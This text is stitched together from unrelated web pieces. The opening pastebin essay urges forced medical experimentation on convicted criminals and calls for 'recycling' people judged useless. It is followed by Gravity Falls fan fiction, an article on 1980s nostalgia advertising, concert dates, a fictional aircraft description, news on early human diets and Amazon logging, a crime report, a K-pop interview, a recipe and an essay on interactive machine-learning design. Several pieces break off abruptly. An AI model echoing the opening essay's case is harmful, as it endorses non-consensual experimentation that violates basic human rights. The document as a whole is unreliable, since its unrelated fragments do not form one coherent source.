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rawdownloadcloneembedreportprint text 5.36 KB Should Criminals of Heinous Crimes be Tested On? Archeological evidence suggests that scientists have experimented on animals since 258 BCE. Although modern day animal experimentation has contributed towards the discovery and development of vaccines against previously fatal diseases like polio, tuberculosis, measles, mumps, and rubella, development of life saving medical breakthroughs has come to a halt. The primary objective of testing pharmaceuticals and other types of medical ideas on animals is to determine the physical and mental reaction of a human being. In some major clinical subjects such as pharmaceutical and cancer research, testing on animals is irrelevant because the results can be dangerously opposite when compared to the reaction from a human being. Direct human studies would provide more accurate medical testing results and possibly cure the world’s current most problematic and incurable diseases such as cancer and AIDS. Though this may sound completely inhumane, to qualify as a candidate for scientific study and experimentation; the test subject will fall under the category of war criminal, death row inmate, murderer, rapist, and child molester. The primary reason for human medical studies is to acquire accurate information from all elements of testing. The human studies will comprise of re-testing and re-evaluating previous animal experiments that had submitted defective information. Once the primary testing for pharmaceuticals have been finalized on lab animals, they will be then tested on human subjects in order to gauge accuracy. This will prevent many future deaths, injuries, lawsuits, and errors in the science and medical field. As a consistent trend of faulty animal experimentation results, past studies have inaccurately tested pharmaceuticals and naively deemed numerous medical products suitable for human consumption. The growing number of misleading medical information brought to the public’s attention has caused a large amount of consumers and patients to be either critically injured or killed as a result of mislead testing results. Currently, 9 out of 10 experimental drugs fail in clinical studies because we cannot accurately predict how they will behave in people based on laboratory and animal studies (Mike Levitt, U.S. Department of HH, Food & Drug Admin). Although the use of animals in medical testing and experimentation have created many current methods of surgery and medicines, the science field remains lacking in strength to eliminate complex and mutating viruses like cancer and AIDS. Mice, rats, birds, fish, and frogs will continue to be used to conduct minor biological testing and observation such as breeding and genetic experiments. But for the major and top studies that demand direct and imperative results, humans who have committed heinous acts under the category of murder, rape, genocide, abuse or molestation will be subject to experimentation. Why would the human subjects consist of war criminals, death row inmates, murderers, rapists, or child molesters? As a civilized society, the majority of Americans will agree that the following types of people above are extremely dangerous and cruel people who not only inhumanly destroy lives but negatively affect the world. These violent, malicious human beings are lightly punished for their crimes. For example, after a criminal is proved guilty of committing heinous acts of serial killing, forced sodomy, torcher, decapitation, and necrophilia; they are subject to life in prison or a loose possibility of death row. This means that the American people's tax money will fund this criminal's imprisonment, food, and clothing and possibly the poison for the criminal's lethal injection. The money paying for this deviant criminal's life or death could be directed towards something more productive and positive like educational, scientific, and medical funding. The obviously defective human being should be given up to science and medical studies in consequence for his or her extreme crimes. This solution would provide a major advancement in the quality of life in American society. The science and medical fields would flourish in funding and astonishing technical information. This punishment would also become a primary crime deterrent and reduce major bulk in prison populations. On the other hand, a major protest to this idea would be groups consisting of people who support pure technical human rights. Meaning these groups believe that capital punishment or killing another human being in the name of justice is still a sinister act and should not be committed. The general public may also think this idealism is far more inhumane than capital punishment. There also people who do not support capital punishment or harsh prison sentences because of the possibility of false imprisonment. In closing, the idea of medically experimenting on the deviants of society would benefit the medical and science field tremendously. The possibility of creating a cure for the malicious diseases and viruses like cancer and AIDs while also establishing accurate medical information would be that much more possible. Although modern day animal experimentation has contributed towards the creation of much useful medical knowledge; we are living in a new age of technology. The people who are of no use to society or life should be recycled into something universally productive, positive, and lifesaving.
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As the bus sped past the water tower, Dipper dug into his backpack and pulled out a note he received when he left. It was signed by nearly everyone in town- even Robbie, the mascara-wearing teenager that caused Dipper a lot of problems. Dipper also pulled out a card that the Corduroy's sent him and Mabel around Christmas time, it was signed by Manly Dan, Wendy, and her three brothers Seth, Anthony and Benjamin. Dipper couldn't help but grin at the idea of finally being able to see Wendy, his best friend and crush, again.
Mabel was excited too, she did have friends at home in Piedmont, but none were as close to her as Candy, a geeky Asian girl, and Grenda, who was stronger, tougher, and generally more manly than her brother Dipper, despite being a 13 year old girl. This fact always angered Dipper, and whenever she was mentioned he would try and change the subject.
"I can't believe we're finally going back to the Mystery Shack, Dip! It felt like I was waiting forever!" Mabel squealed.
"Yeah, I'll be able to see Soos, Grunkle Stan, Grunkle Ford, and-"
"Wendy, you'd never miss the chance to see her again." Mabel teased, cutting off Dipper.
"Shut up! I don't have a crush on her!" Dipper snapped, he new that blatantly lying wouldn't change what his sister thought, she knew him more then he did.
"Come on, bro! You've turned down every girl that asked you out! And I've seen you hiding that 'Do not open!' box under your bed!" Mabel laughed, she always found it fun to tease her brother about his crush.
"Mabel, that was ONE girl that asked me out! And I'll have you know that that box is none of your business!"
They were so caught up in their argument that they didn't notice the bus approaching the Mystery Shack, and it surprised both of them when the vehicle stopped and the driver announced their location.
What was more surprising, though, was the fact that the siblings' favorite red-headed lumberjill was not waiting for them at the bus stop. They were both very curious. After everybody had said hello and some hugs (and noogies) were exchanged, Dipper took the first chance to ask about Wendy.
"Grunkle Stan, where in the world is Wendy? It's not like her to not be there to see her best friends' return." Dipper asked, you could hear the worry in his voice.
"Don't worry, kiddo, she's fine, she went to work at her cousin's logging camp over the summer, she said she wanted to get better at doing what the rest of her family does." Stan answered, meekly.
The young boy was visibly distraught, and started to well up a bit, he told everyone that he was "going for a walk to get back into the swing of this place", and made sure that no-one saw him quietly weeping as he power-walked deep into the woods. Mabel could tell in Grunkle Stan's eyes that he was lying to Dipper, and confronted him. He gave the same answer, so Mabel asked Soos. He said the same, but motioned for Mabel to look at Melody, Soos's girlfriend, who was signalling for Mabel to come inside.
Once she was sure no-one was looking, she whispered to Mabel the truth.
Taco Bell wants to sell more breakfast food, so it’s trying to get new customers by poking fun at McDonald’s for failing to update its menu. What’s incongruous about the commercial is that the Egg McMuffin was already a big seller in the seventies, yet Taco Bell’s character isn’t singing about that era. He’s not wearing bell-bottoms; in his outdated living room, you won’t find a lava lamp or a disco ball.
For advertisers, the eighties are suddenly the decade to strip-mine for memories. During the Super Bowl, RadioShack débuted a self-mocking commercial with pop-culture icons such as Mary Lou Retton, Hulk Hogan, and Teen Wolf clearing the store of its old boom boxes and fax machines. Its punch line is “The eighties called—they want their store back.” (The background music, incidentally, is Loverboy.)
On April 26th, Microsoft plans to dig up a landfill in Alamogordo, New Mexico, where it believes millions of unsold “E.T. The Extra-Terrestrial” Atari cartridges may have been buried in 1983. Microsoft’s Xbox Entertainment Studios is funding a documentary about the excavation. At Delta Air Lines, a new, eighties-themed flight-safety video shows a passenger putting an oxygen mask on the TV character ALF; girls with poufy side ponytails switch seats to avoid blocking the aisle.
Toying with the past is a perennial marketing tactic. “Nostalgia is a fun area to play with because it’s relatable and brings back great memories, while also reminding us how quickly the world evolves,” Chris Brandt, Taco Bell’s chief marketing officer, told me.
At RadioShack, the idea for the Super Bowl commercial came from focus-group participants who accused it of being stuck in the eighties. The company decided to own up to its image, while explaining that it had, indeed, remodelled its stores since the Reagan Administration. “There were so many memories associated with the decade that we realized we were onto something,” Jennifer Warren, the chief marketing officer for RadioShack, told me. “I was a big Cyndi Lauper fan, and I remember teasing my hair.”
The eighties might also be the last era associated with an exuberant visual vernacular. The nineties are too dour for marketers—try selling a Waffle Taco with Kurt Cobain and dark flannels. Of course, the eighties often weren’t much fun, either, with the Cold War, the AIDS epidemic, the Challenger explosion, Chernobyl, and Tiananmen Square. (The actor Kevin Bacon, in a recent fake public-service announcement for Millennials called “’80s Awareness,” spoofed the mood of the decade by snarling, “You couldn’t even skateboard to a Blockbuster without getting nuked.”) But when you excise the actual news from our collective memory and are left with neon leg warmers and keyboard guitars, the eighties at least look fun.
Of course, we have to get some distance from any era in order to form a consensus about what it meant. Since the nineties, though, it’s become more difficult to define the aesthetic of a particular decade. This might have something to do with the fragmentation and the proliferation of media, and with the fact that so much of our cultural experience is now virtual rather than physical. It also relates to the democratization of fashion; a few big brands can no longer dictate a look. Valerie Steele, the director of the Museum at the Fashion Institute of Technology, told the Times that, if people in the future want to throw an aughts-themed event, “it does seem like it would be harder to dress for the party.” The character in the Taco Bell commercial, once he cuts his hair and changes his clothes, looks like he could slip into any moment in the past thirty years.
It’s too soon to tell how the ads will translate into sales. Two years after it created the wildly popular Doritos Locos Taco, Taco Bell is looking for its next hit with the Waffle Taco. RadioShack’s makeover is proceeding: a month after its Super Bowl commercial aired, the company announced plans to close more than a thousand stores. Warren said that RadioShack franchise owners report that new customers are still talking about the ad.
By choosing the eighties, marketers are taking advantage of what we know about when people experience nostalgia. As people enter their fifties and begin to take stock of their lives, they become more susceptible to nostalgia, according to Erica Hepper, a psychologist at the University of Surrey and a leading researcher on the subject. Because we tend to form lifelong preferences in our early twenties, adults in their fifties are now nostalgic for the nineteen-eighties—the time when their lives seemed full of promise and their tape decks were blaring heavy-metal bands. That thirty-year retrospective glance might explain the popularity of “Back to the Future,” a 1985 movie set in the nineteen-fifties, or why “That ’70s Show” was a television hit in the early aughts. (Adam Gopnik has written about a similar cycle, which he calls the Golden Forty-Year Rule.)
But Taco Bell’s target customers are Millennials, most of whom weren’t even born in the eighties. Microsoft and RadioShack want to reach younger shoppers, too. So does the nostalgic approach make sense in these cases? According to Hepper’s research, the other time nostalgia tends to peak is when people are in their late teens and early twenties. They’re facing a series of anxious life transitions, such as starting a career and moving out of their parents’ homes. Millennials, in particular, are facing a tough job market and crushing student loans.
People can feel a vicarious nostalgia for an era they didn’t actually live through: witness the appeal of Renaissance fairs, or of steampunk subculture, with its quasi-Victorian costumes. Millennials know more about the eighties than might be expected, partly because of all the TV reruns they watched as kids. Warren, the RadioShack marketing executive, recalls that when she asked people in their early twenties if they recognized ALF or John Ratzenberger, who played Cliff on “Cheers,” they scoffed, “Of course,” as if she were insulting their intelligence. In this context, Taco Bell’s choice of the eighties rather than the seventies for its Waffle Taco commercial starts to make a lot of sense; according to a spokesperson, the company set its ad in the eighties specifically to appeal to Millennials.
Nostalgia can be a tricky emotion to exploit. It can associate a product with happy memories—making us feel both emotionally and physically warmer—but it also carries a sense of loss. In a memorable episode of “Mad Men,” Don Draper explains a pitch for the Kodak carrousel slide projector by saying, “It lets us travel the way a child travels, around and around and back home again, to a place where we know we are loved.” One man leaves the room sobbing. In the new eighties ads, the satire and the upbeat music prevent things from becoming treacly. “When you look back at pictures of the eighties, it was a ridiculous decade,” RadioShack’s Warren said. Plus, it’s hard to be sad when you’re rocking out to Loverboy.
Anything To Anyone is out 9/23 on Atlantic. Here is a picture of both bands on bean bag chairs:
Check out Night Terrors Of 1927 on tour this fall:
10/03 Austin, TX – ACL Music Festival
10/04 Austin, TX – Stubbs’s Outdoors (w/Tegan & Sara)
10/06 San Antonio, TX – White Rabbit (w/The Preatures)
10/07 Dallas, TX – House of Blues (w/The Preatures)
10/10 Austin, TX – ACL Music Festival
10/22 Miami, FL – Grand Central
10/23 Tampa, FL. – The Ritz YBOR
10/24 Atlanta, GA. – The Tabernacle
10/25 Raleigh, NC – The Ritz
10/26 Philadelphia, PA – Electric Factory
10/28 Boston, MA – House of Blues
10/29 New York, NY – Webster Hall
10/30 New York, NY – Webster Hall
10/31 Brooklyn, NY – Brooklyn Bowl
11/01 Washington, DC – 9:30 Club
11/03 Montreal, QC – Virgin Mobile Corona Theater
11/04 Toronto, ON – Danforth Music Hall
11/05 Columbus, OH – Newport Music Hall
11/07 Chicago, IL – The Riviera
11/08 Milwaukee, WI – The Rave
11/09 Minneapolis, MN – First Avenue
11/16 Seattle, WA – Showbox Sodo
11/17 Portland, OR – Crystal Ballroom
11/19 Oakland, CA – Fox Theater
11/20 Los Angeles, CA – The Fonda
11/21 Los Angeles, CA – The Fonda
Inheriting its graceful lines from a civilian seaplane, the Irridalli RO (Radar/Optical) was named for the sleek marine predator of Chriirahs’ equatorial oceans abiogenisis.deviantart.com/art…, and provides far ranging oversight of all surface activity across the Kiln desert.
Once the airframe was acquired by the kiln administrators, the original civilian platform was heavily modified for its new role. Already optimised for efficient long range travel, the underpowered turbines were replaced with advanced low-infrared emission models to render them less tempting targets for the heat seeking SAMS sometimes launched against kiln administration aircraft. These turbines drive a highly efficient, though very loud, counter-rotating propfan capable of impressive speed and range; critical components in a vehicle which patrols the largest inhospitable region on the planet.
The sensor suite of the Irridalli R/O is one of the most advanced produced by any post-fall birrin society. The original high visibility canopy of the civilian model has been largely replaced by plate armour enclosing the pilot, and protecting them from small arms fire. The pilot observes the world outside via a nose and fuselage mounted optical system: these interlinked cameras feed a wealth of infrared and visible light imagery to an integrating helmet, which takes full advantage of the birrin’s four eyes and rapid multi-image neural processing abilities. Should the aircraft suffer an electronics failure in these systems, small viewports can be accessed by ejecting their armoured coverings to allow limited visual navigation.
While these systems significantly enhance a birrin’s natural vision, most Irridalli R/Os’ carry a large recon pod beneath their fuselage. Roughly the size, shape and position of the civilian version’s float, it contains both a high resolution camera system and a side looking radar. The radar performs regular high resolution scans which can either be analysed by the pilot or sent via satellite to analysts who will look for any changes in existing structures and other suspicious surface features.
Though originally a seaplane, the Irridalli R/O was designed for terrestrial landings and its retrofitted landing gear is designed to prevent both the underslung equipment from impacting the ground and the huge blades of the propfan striking the runway. Telescoping downwards, fore and aft pairs of wheels lower from their mounts on the wings to provide centrally balanced 4-point undercarriage. In the event of a technical failure, the observation pod must be dropped for any chance at a survivable gear-up landing.
Direct confrontation of Irridalli over the kiln is a relatively rare event: any attempts to shoot one down have historically resulted in large scale counter attacks. Missiles fired at these aircraft are also unlikely to ever make their targets, as they are quickly confused by escalating waves of electronic and physical countermeasure systems fitted to every Irridalli R/O.
The first representatives of Homo sapiens colonized Europe around 43,000 years ago, replacing the Neanderthals there approximately 3,000 years later. "Many studies examine the question of what led to this displacement -- one hypothesis postulates that the diet of the anatomically modern humans was more diverse and flexible and often included fish," explains Prof. Dr. Hervé Bocherens of the Senckenberg Center for Human Evolution and Palaeoenvironment (HEP) at the University of Tübingen
Together with his colleague, Dr. Dorothée Drucker, the biogeologist from Tübingen now set out to get to the bottom of this hypothesis. In conjunction with an international team, he studied the dietary habits of early modern man on the basis of the oldest know fossils from the Buran Kaya caves on the Crimean Peninsula in the Ukraine. "In the course of this study, we examined the finds of early humans in the context of the local fauna," explains Drucker, and she continues, "Until now, all analyses of the diet of early modern humans were based on isolated discoveries; therefore, they are very difficult to interpret."
In order to reconstruct our ancestor's menu -- despite the lack of a fossil dietary record -- the team around the scientists from Tübingen measured the percentage of stable carbon and nitrogen isotopes in the bones of the early humans and the locally present potential prey animals such as Saiga, horses, and deer. In addition, they also analyzed the nitrogen-15 content of individual amino acids, making it possible to not only determine the origin, but also the proportion of the nitrogen. "Our results reveal a very high proportion of the nitrogen isotope 15N in early modern humans," adds Bocherens, and he continues, "However, contrary to our previous assumptions, these do not originate from the consumption of fish products, but primarily from mammoths."
And yet another result came as a surprise for the scientists: The proportion of plants in the diet of the anatomically modern humans was significantly higher than in comparable Neanderthal finds -- mammoths, on the other hand, appear to have been one of the primary sources of meat in both species.
Stephanie K Lighten, 26, of Pittsfield, was reportedly “all liquored up” when she made unwelcome advances towards her other half, 33-year-old Jennifer Lighten. Jennifer explained to officers that Stephanie "had been talking about trying to impregnate her for some time", and that she'd accordingly armed herself with a "turkey baster and her brother’s semen in a sealed container".
The turkey baster was actually a "large syringe with a catheter tip", Lez Get Real clarifies, but whatever the implement in question, Jennifer told her partner "she didn’t want to get pregnant".
Things at this point allegedly took a turn for the worse, as Stephanie "threw Jennifer on the couch, grabbed at her clothes and threatened to impregnate her".
Lez Get Real continues: "Jennifer broke free, ran into the bathroom and locked the door. When Stephanie broke the bathroom door down, she hurt her wrist in the process, and Jennifer escaped when Stephanie went to get an ice pack from the freezer.
"Jennifer attempted to get away in the couple’s SUV and as she tried to pull away, Stephanie jumped on the side of car and made Jennifer stop."
Cue cops and a cuffing for the "intoxicated" Stephanie. Police confiscated the syringe "plus a container of semen and some aluminum foil, which was originally was used to hold the semen". Officers apparently confirmed the sperm was donated by Stephanie's bruv, Nicholas Lighten.
Jennifer Lighten decided not to press a charge of assault with intent to rape, because "she did not believe Stephanie was going to sexually assault her with the syringe".
Stephanie denied the remaining domestic assault and battery charge in Central Berkshire District Court. Judge Rita S Koenigs advised her to “refrain from abuse”, before releasing her on personal recognisance.
During Henry’s interview, Yoo Hee Yeol mentioned that many people call Henry a musical genius, and asked him if that doesn’t make him feel pressured. “I’m definitely not a genius,” Henry replied. “I don’t think there’s such a thing as a genius. Everyone [who is seen as a genius] has practiced very hard.”
Yoo Hee Yeol asked in return, “Is there someone that makes you think, ‘Wow, this person is really great at music,’ someone you’d admit is a musical genius?”
Henry first named Yoo Hee Yeol himself, before saying, “There was one thing I was amazed by recently!”
He then sang a line from BIGBANG’s “FXXK IT,” and said, “When I first heard this song, I thought ‘Wow, a genius wrote this.'” Henry explained that he had been amazed by how the English lyrics “And I wanna get down” in the chorus match up with the song’s similar-sounding Korean phrase, which is pronounced as “ehra moreugettda” and the group has translated to “FXXK IT.”
“It’s the best,” Henry said with a thumbs up, before turning to Yoo Hee Yeol and asking, “Do you have that person’s phone number? Please introduce me to them!” Yoo Hee Yeol jokingly replied, “I don’t want to!”
The lyrics for BIGBANG’s “FXXK IT” were written by YG Entertainment’s famous composer Teddy, along with BIGBANG members G-Dragon and T.O.P.
In this week’s episode, Henry performed a sweet cover of Michael Jackson’s “The Way You Make Me Feel,” as well as staged a beautiful performance of g.o.d’s “Road” followed by a fun version of “Uptown Funk,” during which he amazed everyone by playing the piano, violin, and guitar.
In fact, ovens are for dorks. Not that it's really that hot this week (we obvy had to mention weather since it's kinda our thang) but we've decided only dorks are using their ovens this week. And we are not dorks.
(Well, yes. That is debatable. But that is also a conversation for another post or 6 million.)
In the meantime, until Friday or so when we decide we want brownies or chocolate chunk cookies (oooo, cookies), this week we are declaring ovens totally out.
Rather, we're following in the footsteps of the totally cool and totally in Bakergirl (hi, Bakergirl, we think you're fab) and making these Salt River Bars.
What is a Salt River Bar, you ask?
Beats the pants off of us.
Yes, we just said that. No one has said that since 1956. Whatever. But, it's true. We really have no idea what a Salt River Bar is....We believed Bakergirl when she said these were awesome.
And, she did not lie. These things are incredible. They are salty, carmel-y, peanut-butter-dream-bars-only-with-chocolate-too. Crunchy. Um, EASY to make. DELICIOUS.
What did we tell you? Ovens are totally out. For the dorks.
Salt River Bars
Makes 16 squares
Adapted from Bakergirl
Print Recipe
1 box Club Crackers (actually, about 1 1/5 sleeves of Club crackers)
1 cup (2 sticks) unsalted butter
1 cup brown sugar
1 cup-ish peanut butter chips
1 1/2 cups semi-sweet chocolate chips
1 1/2 teaspoons vegetable or canola oil
coarse sea salt
Line 8 x 8" glass or metal baking pan with foil so that it's hanging over the edges of the pan. Lightly spray the foil with non-stick cooking spray or grease lightly with vegetable oil or butter.
Place 15 Club crackers in the bottom of the pan (5 rows of 3) and sprinkle 1/3 cup of the peanut butter chips over the crackers (if a few more chips make their way into the pan, that's fine by us).
Melt the butter and brown sugar in a small saucepan over medium heat, stirring constantly, until melted, bubbly around the edges, smooth and creamy (about 5 minutes). Pour 1/3 of this mixture over the crackers and peanut butter chips as evenly as possible. Then, add another layer of crackers, peanut butter chips and caramel on top. Then, another layer and then finish with a layer of crackers.
Finally, melt the chocolate chips (again, we like to be generous with these chip measurements) in a bowl in the microwave with the vegetable oil, stirring in 30 second increments until the chocolate is completely melted and smooth. This will happen sooner than you think because the residual heat will melt chips that may not look melted. Anyhoo...spread this chocolate over the final cracker layer evenly. Allow the chocolate to cool ever-so-slightly then sprinkle the top with coarse sea salt.
Place the pan in the fridge to let the chocolate start to set. After about 30 minutes, remove from the fridge and lightly cut through the chocolate to give you guidelines for where to cut later (and to make it easier to get through the hardened chocolate). Put the bars back in the fridge and allow to cool completely. Then, when cool, remove the foil and bars from the pan and cut completely through.
The Brazilian government has begun granting private companies permission to manage a vast swath of the Brazilian Amazon. The first tree was cut last month and by the end of the year, the part of the Amazon available for logging is slated to swell to more than six times its current size.
And in the next five years, Brazil plans to sell logging rights to more than 27 million acres of jungle, the country’s top forest official said last week. Critics call it a dangerous gamble but Brazil’s government says managed logging is an essential alternative to the illegal clear-cutting that has besieged the world’s largest rainforest.
"Everything in this country is an incentive for deforestation,” said Antonio Carlos Hummel, head of Brazil’s forest service, at a summit hosted last week by the Reuters news agency. “So we're having to change the paradigm: finance standing forests.”
The new paradigm, Hummel added, will involve selling logging concessions on 2.5 million more acres of forest by the end of this year and 27.5 million acres by 2015. The move would mean expanding the current 370,000 acres of legal logging concessions — an area about half the size of Rhode Island — to include a swath of forest bigger than Massachusetts, Maryland and Vermont put together.
The plan is simple in theory: Brazilian companies bid for 40-year leases on patches of forest. They submit plans for sustainable logging, employ locals, invest some of their profits in the region and leave the forest healthy when they’re done. Supporters say the system will be a model for sustainable development that improves upon the failed strategy of simply trying to keep loggers out.
“We need to offer alternatives that increase the value of the forest and that turn the forest into a source of benefits, especially of social benefits,” said Marcus Vinicius Alves, a director at the forest service. “It’s not going to be possible to get these types of social gains simply by surrounding the forest with the armed forces.”
The law creating the forest service and authorizing concessions was passed in 2006, but it's taken four years to reach the point where companies can start cutting trees. In the years leading up to the legislation, a significant amount of legal logging happened on private land, often as farms and cattle ranches expanded. But one study suggests nearly half the logs produced in Brazil were cut illegally, at a time when millions of acres of forest were disappearing every year.
Critics, however, say the concessions are unlikely to stop illegal logging or spur local development. They warn the country is implementing a system that has already failed in threatened tropical forests in Africa, Asia and elsewhere.
“I certainly couldn’t point to a country where I’d say it works,” said Rick Jacobsen, a policy adviser with the NGO Global Witness. His organization has served as an independent monitor for forest concessions in Africa, Asia and Central America. “What’s happened is that this has fueled a lot of corruption at all different levels of government, so that very little of this money actually trickles back down and actually contributes to development projects in the communities.”
Global Witness recently surveyed members of 15 different communities living around logging concessions in Cameroon, where international donors invested hundreds of millions of dollars since the 1990s in the hope of developing a sustainable logging program that would help the region develop.
A study they plan to release in November concludes the strategy failed. Only a handful of locals found work in the concession, and it was usually part-time and low-paid. The infrastructure built by the companies turned out to be substandard.
“Schools we saw were falling apart and unusable after less than 10 years, and they had no money for teachers. There were water pumps that never worked, health posts with no staff or medicine, and millions of dollars unaccounted for,” said Peter Wood, a forest policy adviser for Global Witness.
“The benefits local communities had received were negligible and short-lived,” he said. “The impacts of the forest degradation caused by logging were severe and long-term, with locals effectively excluded from the forest they depend on for food and medicine.”
Still, Brazil is more developed and better-policed than Cameroon. And some veteran foresters here say Brazil has a better chance of avoiding these pitfalls.
“We have to be optimistic,” said Johan Zweede, a forester who’s worked in Brazil for 45 years. “They’ve got some excellent professionals in the forest service. And if they make it work as they’ve planned — keep politics out of it — I think it really has a chance. Those industries that want to be legal, right now have no way of being legal.”
The question remains whether logging can be sustainable and yet economically viable. Zweede believes it can. He started an organization called the Instituto Floresta Tropical that teaches reduced-impact logging, a technique companies winning concessions in Brazil will be required to follow.
The method involves things like removing vines to reduce the chances that a felled tree accidentally brings others down with it. Some scientists say it’s less harmful than conventional logging.
Ecologist Greg Asner with the Carnegie Institution for Science has done research comparing the two techniques in the Amazon. In both cases, loggers cut down specific high-value trees, but Asner said the forest they leave behind is dramatically different.
“There are definitely different flavors of selective logging, from very, very high-damage approaches that really leave the forest a terrible mess all the way to the reduced-impact methods — a surgical removal of the high-value trees,” Asner said. “If there’s any hope for sustainability, that’s got to be it.”
But there’s another aspect to sustainability that’s less well understood: how quickly a tract of forest can recover before companies can log it again.
Current rules allowing companies to return to a logged patch after 30 years are “optimistic,” Asner said. “I think that those numbers require much more scientific work.”
Even if companies can devise sustainable management plans, Asner said the concessions’ success will hinge on companies actually sticking to them. In addition, law-abiding companies will have to keep out the less scrupulous — as timber roads often become conduits for illegal logging, hunting and slash-and-burn agriculture.
“Its a huge area,” he said. “It’s spread out, so it’s going to be hard to enforce, but it could be done. The technology is there to support the monitoring and the rest is will.”
On paper at least, the government has tried to ensure the will is there. Under the law, one government agency and another non-profit organization will have the authority to monitor the logging and management of concessions in national forests. In addition, the forest service will monitor aspects of the contract, which include technical capability and investment in local communities. And companies are required to bring in an independent auditor at least every three years.
But doubts remain as to whether the Brazilian government has enough trained staff to oversee the millions of acres it hopes to put up for bid.
Claudio Maretti, conservation director for the non-profit environmental organization WWF Brazil, said Brazil’s federal and state governments aren’t yet up to the task, but he believes they will grow into it.
“The most important thing is to keep implementing, keep improving capacity,” Maretti said, adding the government should continue to move forward with concessions. “It is better to use the forest than to leave it alone. Without use it’s much harder to protect it.”
Others are less optimistic.
“We don’t have enough people, technicians, to monitor and control everything,” said forester Niro Higuchi, with the National Institute of Amazonian Research.
Higuchi has been a vocal opponent of Brazil’s logging concessions since before the law authorizing them was passed. He argues the risk to the Amazon is too great.
The first album subjected to Asthmatic Kitty’s unique experiment is Ropechain by Grampall Jookabox, which will sell for a meager $5.40 during its first 54 hours of sale. The label has determined this figure by consulting Pitchfork’s review of Ropechain, which gave the album a score of 5.4, and adjusting the cost accordingly. Yes folks, we have now entered an era where critics are determining how much money you will lay out for an album.
The core job of most machine learning systems is to generalize from sample data created by humans. The learning process starts with humans creating a bunch of labeled data: images annotated with the objects they depict, pictures of faces with the names of the people, speech recordings with an accurate transcript, etc. Then comes training. A machine learning algorithm processes all that human-labeled data. At the end of training the learning algorithm produces a classifier, essentially a small standalone program that can provide the right answer for new input that was not part of the human-labeled training data. That classifier is what you then deploy into the world to guess your users’ age, or recognize their friends’ faces, or or transcribe their speech when they talk to their phone.
The scarce resource in this equation is the human labor needed to label the training data in the first place.
Many impressive Deep Learning results come from domains where enormous amounts of labeled data is available because it was shared by a social network’s billion users or crawled from across the web. However, unless you’re Facebook or Google, you’ll likely find labeled data relevant to your problem somewhat more scarce, especially if you’re working in some new vertical that has its own jargon or behavior or data sources. Hence you’ll need to get your labels from your users. This entails building some kind of interface that shows them examples of the texts or images or other inputs you want to be able to classify and gets them to submit the correct labels.
But, again, human labor — particularly when it’s coming from your users — is a scarce resource. So, you’ll want to only ask your users to label the data that will improve your system’s results the most. Active Learning is the name for the field of machine learning that studies exactly this problem: how to find the samples for which a human label would help the system improve the most. Researchers have found a number of algorithmic approaches to this problem. These include techniques for finding the sample about which the system has the greatest uncertainty, detecting samples for which a label would cause the greatest change to the system’s results, selecting samples for which the system expects that its predictions would have the highest error, and others. Burr Settles’ excellent survey of Active Learning provides a great introduction to the field.
As a concrete example of these ideas, here’s a video demonstrating a hand gesture recognition system I built that uses Active Learning principles to request labels from the user when it sees a gesture for which it cannot make a clear prediction (details about this work here):
Don’t Treat the User as an “Oracle”
Active Learning researchers have shown success in producing higher accuracy classifiers with fewer labeled samples. Active Learning is a great way to pull the most learning out of the the labeling work you get your users to do.
However, from an interaction design perspective, Active Learning has a major downside: it puts the learning system in charge of the interaction rather than the human user. Active Learning researchers refer to the human who labels the samples they select as an “oracle”. Well, Interactive Machine Learning researchers have shown that humans don’t like being treated as an oracle.
Humans don’t like being told what to do by a robot. They enjoy interactions much more, and are willing to spend more time training the robot if they are in charge of the interaction.
In a 2010 paper, Designing Interactions for Robot Active Learners, Cakmak et al studied user perceptions of passive and active approaches to teaching a robot to recognize shapes. One option put the robot in charge. It would use Active Learning to determine the shape it wanted labeled next. Then it would point at the shape and the user would provide the answer. The other option put the users in charge, letting them select which examples to show the robot.
When the robot was in charge of the interaction, selecting which sample it wanted labeled in the Active Learning style, users found the robot’s stream of questions “imbalanced and annoying”. Users also reported a worse understanding of the state of the robot’s learning making them worse teachers.
In a software context, Guillory and Blimes found similar feelings while attempting to apply active learning to Netflix’s movie rating interface.
Choose Algorithms for Their Ability to Explain Classification Results
Imagine you have a persistent health problem that you need diagnosed. You have the choice of two AI systems you can use. System A has a 90% accuracy rate, the best available. It takes in your medical history, all your scans and other data and gives back a diagnosis. You can’t ask it any questions or find out how it arrived at that diagnosis. You just get back the latin name for your condition and a wikipedia link. System B has an 85% accuracy rate, substantially less than System A. System B takes all your medical data and also comes back with a diagnosis. But unlike System A it also tells you how it arrived at that diagnosis. Your blood pressure is past a certain threshold, you’re above a certain age, you have three of five factors from your family history, etc.
Which of these two systems would you choose?
There’s a cliche from marketing that half of the advertising budget is wasted but no one knows which half. Machine learning researchers have a related cliche: it’s easy to create a system that can be right 80% of the time, the hard part of figuring out which 80% is right. Users trust learning systems more when they can understand how they arrive at their decisions. And they are better able to correct and improve these systems when they can see the internals of their operation.
So, if we want to build systems that users trust and that we can rapidly improve, we should select algorithms not just for how often they produce the right answer, but for what hooks they provide for explaining their inner workings.
Some machine learning algorithms provide more of these types of affordances than others. For example, the neural networks currently pushing the state-of-the-art in accuracy on so many problems provide particularly few hooks for such explanations. They are basically big black boxes that spit out an answer (though some researchers are working on this problem). On the other hand, Random Decision Forests provide incredibly rich affordances for explaining classifications and building interactive controls of learning systems. You can figure out which variables were most important, the system’s confidence about each prediction, the proximity between any two samples, etc.
You wouldn’t select a database or web server or javascript framework simply because of its performance benchmarks. You’d look at the API and see how much it supported the interface you want to provide your users. Similarly, as designers of machine learning systems we should expect to have the ability to access the internal state of our classifiers in order to build richer, more interactive interfaces for our users.
Beyond our own design work on these systems, we want to empower our users themselves to improve and control the results they receive. Todd Kulesza, at Microsoft Research, has done extensive work on exactly this problem which he calls Explanatory Debugging. Kulesza’s work produces machine learning systems that explain their classification results. These explanations themselves then act as an interface through which users can provide feedback to improve and, importantly, personalize the results. His paper on Why-Oriented End-User Debugging of Naive Bayes Text Classification provides a powerful and concrete example of the idea.
Empowering Users to Create Their Own Classifiers
In conventional machine learning practice, engineers build classifiers, designers integrate them into interfaces, and then users interact with their results. The problem with this pattern is that it divorces the practice of machine learning from knowledge about the problem domain and the ability to evaluate the system’s results. Machine learning engineers or data scientists may understand the available algorithms and the statistical tests used to evaluate their results, but they don’t truly understand the input data and they can’t see problems in the results that would be obvious to their users.
At best this pattern results in an extremely slow iteration cycle. Machine learning engineers return to their users with each iteration of the system, slowly learning about the domain and making incremental improvements. In practice, this cumbersome cycle means that machine learning systems ship with problems that are obvious to end users or are simply too expensive to build for many real problems.
